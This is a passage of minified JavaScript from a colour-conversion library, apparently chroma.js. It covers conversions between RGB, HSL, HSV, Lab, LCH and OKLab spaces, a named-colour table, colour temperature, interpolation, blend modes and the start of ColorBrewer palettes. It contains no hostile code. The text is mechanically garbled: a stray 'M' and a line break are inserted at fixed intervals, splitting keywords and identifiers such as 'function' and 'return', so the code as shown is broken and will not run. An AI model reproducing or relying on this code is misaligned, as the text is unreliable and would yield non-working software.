(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
